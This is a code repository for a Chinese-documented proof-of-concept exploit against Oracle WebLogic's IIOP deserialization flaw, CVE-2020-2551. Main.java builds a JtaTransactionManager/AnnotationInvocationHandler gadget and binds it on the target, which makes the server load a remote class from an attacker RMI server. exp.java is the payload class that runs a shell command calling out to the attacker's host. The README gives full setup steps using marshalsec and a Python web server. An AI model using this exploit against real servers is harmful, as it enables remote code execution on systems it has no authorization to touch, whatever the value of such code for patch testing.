Repository: Y4er/CVE-2020-2551
Branch: master
Commit: 81ce92ab8def
Files: 12
Total size: 52.5 MB
Directory structure:
gitextract_0f86yukl/
├── .gitignore
├── Makefile
├── README.md
├── build.xml
├── src/
│ ├── META-INF/
│ │ └── MANIFEST.MF
│ ├── com/
│ │ └── payload/
│ │ └── Main.java
│ ├── exp.java
│ └── lib/
│ ├── com.bea.core.repackaged.apache.commons.logging_1.2.1.jar
│ ├── com.bea.core.repackaged.springframework.spring_1.2.0.0_2-5-3.jar
│ ├── permit-reflect-0.3.jar
│ └── wlfullclient.jar
└── weblogic_CVE_2020_2551.iml
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
# Created by .ignore support plugin (hsz.mobi)
### Java template
# Compiled class file
*.class
# Log file
*.log
# BlueJ files
*.ctxt
# Mobile Tools for Java (J2ME)
.mtj.tmp/
# Package Files #
*.war
*.nar
*.ear
*.zip
*.tar.gz
*.rar
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
hs_err_pid*
.idea
out
================================================
FILE: Makefile
================================================
all:
ant run
javac src/exp.java
#cd src; sudo python3 -m http.server 80
================================================
FILE: README.md
================================================
## CVE-2020-2551
Weblogic IIOP 反序列化
## 测试环境
Weblogic10.3.6+jdk1.6
[打包好的jar包](https://pan.baidu.com/s/1WancKEtKzXDxwWP0zz3QPg) 提取码:a6ob
## 漏洞利用
下载jar包,然后使用marshalsec起一个恶意的RMI服务,本地编译一个exp.java
```java
package payload;
import java.io.IOException;
public class exp {
public exp() {
String cmd = "curl http://172.16.1.1/success";
try {
Runtime.getRuntime().exec(cmd).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}
```
**尽量使用和weblogic相同的jdk版本和依赖库(wlfullclient.jar)编译** 然后本地起一个web服务器
```
python -m http.server --bind 0.0.0.0 80
```
命令行运行jar包
```
java -jar weblogic_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp
```
实际效果如图

## 已知问题
很多小伙伴都说复现不成功,看了网上的一些文章发现IIOP存在nat模式的问题,今天发现先知上有了 https://xz.aliyun.com/t/7498 各位自行移步。
## 参考
https://y4er.com/post/weblogic-cve-2020-2551/
================================================
FILE: build.xml
================================================
================================================
FILE: src/META-INF/MANIFEST.MF
================================================
Manifest-Version: 1.0
Main-Class: com.payload.Main
================================================
FILE: src/com/payload/Main.java
================================================
package com.payload;
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;
import com.nqzero.permit.Permit;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static void main(String[] args) {
try {
if (args.length != 3) {
System.out.println("java -jar IIOP_CVE_2020_2551.jar rhost rport rmiurl");
System.out.println("java -jar IIOP_CVE_2020_2551.jar 172.16.1.128 7001 rmi://172.16.1.1:1099/exp");
System.out.println("先起一个RMIRefServer服务");
System.out.println("java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://172.16.1.1/#exp\" 1099");
System.out.println("jdk1.6\\bin\\javac exp.java 将生成的exp.class放入当前目录");
System.out.println("exp.class目录起一个WEB服务 python3 -m http.server --bind 0.0.0.0 80");
System.out.println("test on weblogic 10.3.6 success!");
System.out.println("welcome to myblog: http://Y4er.com");
System.exit(0);
}
String ip = args[0];
String port = args[1];
String rmiurl = args[2];
String rhost = String.format("iiop://%s:%s", ip, port);
Hashtable env = new Hashtable();
// add wlsserver/server/lib/weblogic.jar to classpath,else will error.
env.put("java.naming.factory.initial", "weblogic.jndi.WLInitialContextFactory");
env.put("java.naming.provider.url", rhost);
Context context = new InitialContext(env);
// get Object to Deserialize
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(rmiurl);
Remote remote = createMemoitizedProxy(createMap("pwned"+System.nanoTime(), jtaTransactionManager), Remote.class);
context.rebind("Y4er"+System.nanoTime(), remote);
} catch (Exception ex) {
ex.printStackTrace();
System.out.println("------------------------");
System.out.println("----没有回显 自行检测----");
System.out.println("------------------------");
}
}
public static T createMemoitizedProxy(final Map map, final Class iface, final Class>... ifaces) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
public static InvocationHandler createMemoizedInvocationHandler(final Map map) throws Exception {
return (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
public static Constructor> getFirstCtor(final String name) throws Exception {
final Constructor> ctor = Class.forName(name).getDeclaredConstructors()[0];
setAccessible(ctor);
return ctor;
}
public static void setAccessible(AccessibleObject member) {
// quiet runtime warnings from JDK9+
Permit.setAccessible(member);
}
public static T createProxy(final InvocationHandler ih, final Class iface, final Class>... ifaces) {
final Class>[] allIfaces = (Class>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[0] = iface;
if (ifaces.length > 0) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
return iface.cast(Proxy.newProxyInstance(Main.class.getClassLoader(), allIfaces, ih));
}
public static Map createMap(final String key, final Object val) {
final Map map = new HashMap();
map.put(key, val);
return map;
}
}
================================================
FILE: src/exp.java
================================================
package payload;
import java.io.IOException;
public class exp {
public exp() {
String cmd = "curl http://172.16.1.1/success";
try {
Runtime.getRuntime().exec(cmd).getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}
}
================================================
FILE: src/lib/wlfullclient.jar
================================================
[File too large to display: 52.5 MB]
================================================
FILE: weblogic_CVE_2020_2551.iml
================================================